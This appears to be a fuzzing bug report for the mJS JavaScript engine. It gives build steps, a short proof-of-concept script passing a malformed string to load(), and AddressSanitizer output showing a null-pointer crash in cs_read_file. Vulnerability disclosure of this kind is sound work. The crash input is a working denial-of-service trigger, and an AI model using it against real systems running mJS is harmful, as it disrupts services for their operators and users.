SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
load('[\u\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
    '[\t\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
    '\t\r \n}\t\r \n'); 
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==28077==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9ece3d7811 bp 0x7ffc033dfbb0 sp 0x7ffc033df328 T0)
==28077==The signal is caused by a READ memory access.
==28077==Hint: address points to the zero page.
    #0 0x7f9ece3d7810  (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
    #1 0x7f9ece88ee55  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x50e55)
    #2 0x557908c817a0 in cs_read_file src/common/cs_file.c:34
    #3 0x557908bb6043 in mjs_exec_file src/mjs_exec.c:1087
    #4 0x557908b93bf6 in mjs_load src/mjs_builtin.c:69
    #5 0x557908bad244 in mjs_execute src/mjs_exec.c:853
    #6 0x557908bb6a05 in mjs_exec_internal src/mjs_exec.c:1073
    #7 0x557908bb6a05 in mjs_exec_file src/mjs_exec.c:1096
    #8 0x557908b73909 in main src/mjs_main.c:47
    #9 0x7f9ece26ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #10 0x557908b74449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
==28077==ABORTING

Credits: Found by OWL337 team.